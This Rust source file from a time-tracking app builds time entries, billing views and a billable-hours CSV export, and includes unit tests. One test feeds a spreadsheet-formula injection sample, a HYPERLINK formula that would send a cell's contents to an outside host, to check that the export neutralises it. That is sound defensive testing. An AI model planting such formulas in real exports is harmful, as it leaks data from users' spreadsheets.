1use crate::projects::Project;
11use crate::i18n::Translator;
12use crate::money::Money;
13use crate::tasks::Task;
14use crate::timelog::Session;
15use jiff::Span;
16use jiff::civil::Date;
17use jiff::tz::TimeZone;
18use serde::Serialize;
19
20#[derive(Debug, Clone, PartialEq, Serialize)]
22pub struct Entry {
23 pub key: String,
24 pub start: i64,
25 pub day: Date,
26 pub minutes: u32,
27 pub project: String,
29 pub task: String,
30 pub title: String,
32 pub note: String,
33 pub billable: bool,
35 pub invoice: String,
36}
37
38pub fn entries(sessions: &[Session], tasks: &[Task], projects: &[Project], zone: &TimeZone) -> Vec<Entry> {
40 sessions
41 .iter()
42 .map(|s| {
43 let task = tasks.iter().find(|t| !s.task.is_empty() && t.uid == s.task);
44 let from_task = task.and_then(|t| t.projects.iter().find(|c| projects.iter().any(|x| x.id == **c && x.is_for_client())).or(t.projects.first())).cloned();
46 let project = if s.project.is_empty() { from_task.unwrap_or_default() } else { s.project.clone() };
47 let found = projects.iter().find(|c| c.id == project);
48 let title = match task {
49 Some(t) => t.title.clone(),
50 None if !s.note.is_empty() => s.note.clone(),
51 None => found.map(|c| c.title.clone()).unwrap_or_default(),
52 };
53 Entry {
54 key: s.key(),
55 start: s.start,
56 day: jiff::Timestamp::from_second(s.start).map(|t| t.to_zoned(zone.clone()).date()).unwrap_or(Date::ZERO),
57 minutes: s.minutes,
58 billable: task.and_then(|t| t.billable).unwrap_or_else(|| found.is_some_and(Project::is_for_client)) && !s.unbilled,
60 project,
61 task: s.task.clone(),
62 title,
63 note: s.note.clone(),
64 invoice: s.invoice.clone(),
65 }
66 })
67 .collect()
68}
69
70pub fn amount(minutes: u32, rate: f64) -> Money {
72 Money((f64::from(minutes) * rate * 100.0 / 60.0).round() as i64)
73}
74
75pub fn duration(minutes: u32) -> String {
77 match (minutes / 60, minutes % 60) {
78 (0, m) => format!("{m} min"),
79 (h, 0) => format!("{h} h"),
80 (h, m) => format!("{h} h {m:02}"),
81 }
82}
83
84#[derive(Debug, Clone, Serialize)]
86pub struct ProjectTime {
87 pub id: String,
88 pub title: String,
89 pub index: usize,
91 pub minutes: u32,
92 pub time: String,
93 pub billable: bool,
94 pub unbilled_minutes: u32,
96 pub unbilled: String,
97 pub unbilled_amount: String,
98 pub rate: f64,
99}
100
101#[derive(Debug, Clone, Serialize)]
103pub struct Bar {
104 pub label: String,
105 pub date: String,
106 pub minutes: u32,
107 pub parts: Vec<u32>,
109 pub today: bool,
110}
111
112#[derive(Debug, Clone, Serialize)]
114pub struct EntryView {
115 pub key: String,
116 pub date: String,
117 pub time: String,
118 pub title: String,
119 pub project: String,
120 pub project_title: String,
121 pub note: String,
122 pub billable: bool,
123 pub invoice: String,
124 pub by_hand: bool,
126 pub day: String,
128 pub at: String,
129 pub until: String,
130 pub minutes: u32,
131 pub task: String,
133 pub kind: String,
136 pub kind_said: String,
137}
138
139#[derive(Debug, Clone, Serialize)]
141pub struct TimeView {
142 pub title: String,
144 pub period: String,
145 pub from: String,
147 pub total: String,
148 pub projects: Vec<ProjectTime>,
149 pub bars: Vec<Bar>,
150 pub most: u32,
151 pub entries: Vec<EntryView>,
152 pub sentence: String,
154}
155
156pub fn billable_csv(all: &[Entry], project: &Project, from: Date, to: Date, default_rate: f64, french: bool, words: [&str; 5]) -> String {
162 let (sep, decimal) = if french { (';', ',') } else { (',', '.') };
163 let number = |value: f64| format!("{value:.2}").replace('.', &decimal.to_string());
164 let field = |text: &str| {
167 let text = if text.starts_with(['=', '+', '-', '@', '\t', '\r']) { format!("'{text}") } else { text.to_string() };
168 if text.contains([sep, '"', '\n', '\r']) { format!("\"{}\"", text.replace('"', "\"\"")) } else { text }
169 };
170 let rate = project.rate.unwrap_or(default_rate);
171 let mut by_what: Vec<(String, u32)> = Vec::new();
172 for e in all.iter().filter(|e| e.project == project.id && e.billable && e.day >= from && e.day <= to) {
173 let what = if e.title.trim().is_empty() { project.title.clone() } else { e.title.trim().to_string() };
174 match by_what.iter_mut().find(|(w, _)| *w == what) {
175 Some((_, minutes)) => *minutes += e.minutes,
176 None => by_what.push((what, e.minutes)),
177 }
178 }
179 let [what, hours, per_hour, amount_word, total] = words;
180 let mut out = [what, hours, per_hour, amount_word].map(field).join(&sep.to_string()) + "\r\n";
181 let mut minutes_total = 0;
182 for (what, minutes) in &by_what {
183 minutes_total += minutes;
184 let money = amount(*minutes, rate);
185 out.push_str(&[field(what), number(f64::from(*minutes) / 60.0), number(rate), number(money.cents() as f64 / 100.0)].join(&sep.to_string()));
186 out.push_str("\r\n");
187 }
188 let money = amount(minutes_total, rate);
189 out.push_str(&[field(total), number(f64::from(minutes_total) / 60.0), String::new(), number(money.cents() as f64 / 100.0)].join(&sep.to_string()));
190 out.push_str("\r\n");
191 out
192}
193
194pub fn bounds(period: &str, anchor: Date) -> (Date, Date) {
196 match period {
197 "year" => (anchor.first_of_year(), anchor.last_of_year()),
198 "month" => (anchor.first_of_month(), anchor.last_of_month()),
199 _ => {
200 let monday = anchor.checked_sub(Span::new().days(i64::from(anchor.weekday().to_monday_zero_offset()))).unwrap_or(anchor);
201 (monday, monday.checked_add(Span::new().days(6)).unwrap_or(monday))
202 }
203 }
204}
205
206pub fn view(all: &[Entry], projects: &[Project], sessions_by_hand: &dyn Fn(&str) -> bool, period: &str, anchor: Date, project: Option<&str>, default_rate: f64, today: Date, tr: &Translator) -> TimeView {
208 let (from, to) = bounds(period, anchor);
209 let wanted = |e: &&Entry| project.is_none_or(|p| e.project == p);
210 let shown: Vec<&Entry> = all.iter().filter(wanted).filter(|e| e.day >= from && e.day <= to).collect();
211 let mut ids: Vec<String> = Vec::new();
213 for e in &shown {
214 if !ids.contains(&e.project) {
215 ids.push(e.project.clone());
216 }
217 }
218 let minutes_of = |id: &str| shown.iter().filter(|e| e.project == id).map(|e| e.minutes).sum::<u32>();
219 ids.sort_by_key(|id| std::cmp::Reverse(minutes_of(id)));
220 for e in all.iter().filter(wanted).filter(|e| e.billable && e.invoice.is_empty()) {
221 if !ids.contains(&e.project) {
222 ids.push(e.project.clone());
223 }
224 }
225 let times: Vec<ProjectTime> = ids
226 .iter()
227 .enumerate()
228 .map(|(index, id)| {
229 let found = projects.iter().find(|c| c.id == *id);
230 let rate = found.and_then(|c| c.rate).unwrap_or(default_rate);
231 let unbilled_minutes: u32 = all.iter().filter(|e| e.project == *id && e.billable && e.invoice.is_empty()).map(|e| e.minutes).sum();
232 let minutes = minutes_of(id);
233 ProjectTime {
234 id: id.clone(),
235 title: found.map_or_else(|| tr.text(if id.is_empty() { "time-no-project" } else { "time-gone-project" }, None), |c| c.title.clone()),
236 index,
237 minutes,
238 time: duration(minutes),
239 billable: found.is_some_and(Project::is_for_client),
240 unbilled_minutes,
241 unbilled: if unbilled_minutes > 0 { duration(unbilled_minutes) } else { String::new() },
242 unbilled_amount: if unbilled_minutes > 0 && rate > 0.0 { tr.money(amount(unbilled_minutes, rate)) } else { String::new() },
243 rate,
244 }
245 })
246 .collect();
247 let part_of = |entries: &[&&Entry]| -> Vec<u32> { ids.iter().map(|id| entries.iter().filter(|e| e.project == *id).map(|e| e.minutes).sum()).collect() };
248 let bars: Vec<Bar> = if period == "year" {
249 (1..=12)
250 .filter_map(|m| Date::new(from.year(), m, 1).ok())
251 .map(|first| {
252 let here: Vec<&&Entry> = shown.iter().filter(|e| e.day.year() == first.year() && e.day.month() == first.month()).collect();
253 Bar {
254 label: tr.month_short(first),
256 date: first.to_string(),
257 minutes: here.iter().map(|e| e.minutes).sum(),
258 parts: part_of(&here),
259 today: today.year() == first.year() && today.month() == first.month(),
260 }
261 })
262 .collect()
263 } else {
264 let mut days = Vec::new();
265 let mut day = from;
266 while day <= to {
267 let here: Vec<&&Entry> = shown.iter().filter(|e| e.day == day).collect();
268 days.push(Bar {
269 label: if period == "week" { tr.weekday_short(day) } else { day.day().to_string() },
270 date: day.to_string(),
271 minutes: here.iter().map(|e| e.minutes).sum(),
272 parts: part_of(&here),
273 today: day == today,
274 });
275 day = match day.tomorrow() {
276 Ok(next) => next,
277 Err(_) => break,
278 };
279 }
280 days
281 };
282 let total: u32 = shown.iter().map(|e| e.minutes).sum();
283 let mut listed: Vec<&&Entry> = shown.iter().collect();
284 listed.sort_by_key(|e| std::cmp::Reverse(e.start));
285 let title = match period {
286 "year" => from.year().to_string(),
287 "month" => tr.month_year(from),
288 _ => {
289 let mut args = crate::i18n::args();
290 args.set("day", tr.day_month(from));
291 tr.text("time-week-of", Some(&args))
292 }
293 };
294 TimeView {
295 title,
296 period: period.to_string(),
297 from: from.to_string(),
298 total: duration(total),
299 most: bars.iter().map(|b| b.minutes).max().unwrap_or(0),
300 bars,
301 entries: listed
302 .into_iter()
303 .map(|e| EntryView {
304 key: e.key.clone(),
305 date: tr.day(e.day),
306 time: duration(e.minutes),
307 title: e.title.clone(),
308 project: e.project.clone(),
309 project_title: times.iter().find(|p| p.id == e.project).map(|p| p.title.clone()).unwrap_or_default(),
310 note: if e.note == e.title { String::new() } else { e.note.clone() },
311 billable: e.billable,
312 invoice: e.invoice.clone(),
313 by_hand: sessions_by_hand(&e.key),
314 day: e.day.to_string(),
315 at: jiff::Timestamp::from_second(e.start).map(|t| t.to_zoned(jiff::tz::TimeZone::system()).strftime("%H:%M").to_string()).unwrap_or_default(),
316 until: jiff::Timestamp::from_second(e.start + i64::from(e.minutes) * 60).map(|t| t.to_zoned(jiff::tz::TimeZone::system()).strftime("%H:%M").to_string()).unwrap_or_default(),
317 minutes: e.minutes,
318 task: e.task.clone(),
319 kind: String::new(),
320 kind_said: String::new(),
321 })
322 .collect(),
323 sentence: if total == 0 { tr.text(&format!("time-nothing-{period}"), None) } else { String::new() },
324 projects: times,
325 }
326}
327
328#[cfg(test)]
329mod tests {
330 use super::*;
331
332 #[test]
333 fn billable_time_as_a_spreadsheet() {
334 let day = |d: &str| d.parse::<Date>().unwrap();
335 let entry = |title: &str, d: &str, minutes: u32, billable: bool| Entry { key: String::new(), start: 0, day: day(d), minutes, project: "studio".into(), task: String::new(), title: title.into(), note: String::new(), billable, invoice: String::new() };
336 let all = vec![entry("Logo; second draft", "2026-10-01", 90, true), entry("Logo; second draft", "2026-10-02", 30, true), entry("Call", "2026-10-02", 60, false), entry("Site", "2026-11-01", 60, true)];
337 let studio = Project { id: "studio".into(), title: "Studio".into(), rate: Some(60.0), ..Project::default() };
338 let csv = billable_csv(&all, &studio, day("2026-10-01"), day("2026-10-31"), 50.0, true, ["Quoi", "Heures", "Taux horaire", "Montant", "Total"]);
339 assert_eq!(csv, "Quoi;Heures;Taux horaire;Montant\r\n\"Logo; second draft\";2,00;60,00;120,00\r\nTotal;2,00;;120,00\r\n");
340 let english = billable_csv(&all, &studio, day("2026-01-01"), day("2026-12-31"), 50.0, false, ["What", "Hours", "Hourly rate", "Amount", "Total"]);
341 assert!(english.ends_with("Total,3.00,,180.00\r\n"), "{english}");
342 let formula = vec![entry("=HYPERLINK(\"https://example.org/?\"&A1)", "2026-10-01", 60, true)];
344 let csv = billable_csv(&formula, &studio, day("2026-10-01"), day("2026-10-31"), 50.0, false, ["What", "Hours", "Hourly rate", "Amount", "Total"]);
345 assert!(csv.contains("\r\n\"'=HYPERLINK(\"\"https://example.org/?\"\"&A1)\",1.00,60.00,60.00\r\n"), "{csv}");
346 }
347
348 fn project(id: &str, for_client: bool, rate: Option<f64>) -> Project {
349 Project { id: id.into(), title: id.to_uppercase(), kind: for_client.then(|| "project".to_string()), rate, ..Project::default() }
350 }
351
352 #[test]
353 fn time_by_project_and_left_to_bill() {
354 let zone = TimeZone::UTC;
355 let day = |d: &str, h: i8| Date::from(d.parse::<Date>().unwrap()).at(h, 0, 0, 0).to_zoned(zone.clone()).unwrap().timestamp().as_second();
356 let site = Task { uid: "t".into(), title: "Build the site".into(), projects: vec!["housing".into(), "lumen".into()], ..Task::default() };
357 let sessions = vec![
358 Session { task: "t".into(), start: day("2026-10-05", 9), minutes: 90, ..Session::default() },
359 Session { project: "lumen".into(), start: day("2026-10-06", 14), minutes: 30, note: "Call with the client".into(), ..Session::default() },
360 Session { project: "lumen".into(), start: day("2026-10-06", 16), minutes: 60, invoice: "2026-001".into(), ..Session::default() },
361 Session { project: "housing".into(), start: day("2026-10-07", 10), minutes: 45, ..Session::default() },
362 Session { project: "lumen".into(), start: day("2026-09-20", 10), minutes: 15, unbilled: true, ..Session::default() },
363 ];
364 let projects = vec![project("housing", false, None), project("lumen", true, Some(60.0))];
365 let all = entries(&sessions, &[site], &projects, &zone);
366 assert_eq!(all[0].project, "lumen");
368 assert!(all[0].billable && !all[3].billable && !all[4].billable);
369 let tr = Translator::new("en");
370 let today: Date = "2026-10-07".parse().unwrap();
371 let week = view(&all, &projects, &|_| false, "week", today, None, 40.0, today, &tr);
372 assert_eq!(week.total, "3 h 45");
373 assert_eq!(week.bars.len(), 7);
374 assert_eq!((week.bars[0].minutes, week.bars[1].minutes, week.bars[2].minutes), (90, 90, 45));
375 let lumen = &week.projects[0];
376 assert_eq!((lumen.id.as_str(), lumen.minutes, lumen.unbilled_minutes), ("lumen", 180, 120));
377 assert_eq!(lumen.unbilled_amount, tr.money(Money(12000)));
378 assert_eq!(week.entries[0].title, "HOUSING", "newest first, titled by its project");
379 let year = view(&all, &projects, &|_| false, "year", today, Some("lumen"), 40.0, today, &tr);
380 assert_eq!((year.bars.len(), year.bars[8].minutes, year.bars[9].minutes), (12, 15, 180));
381 assert_eq!(amount(50, 60.0), Money(5000));
382 assert_eq!((duration(45).as_str(), duration(120).as_str(), duration(150).as_str()), ("45 min", "2 h", "2 h 30"));
383 }
384}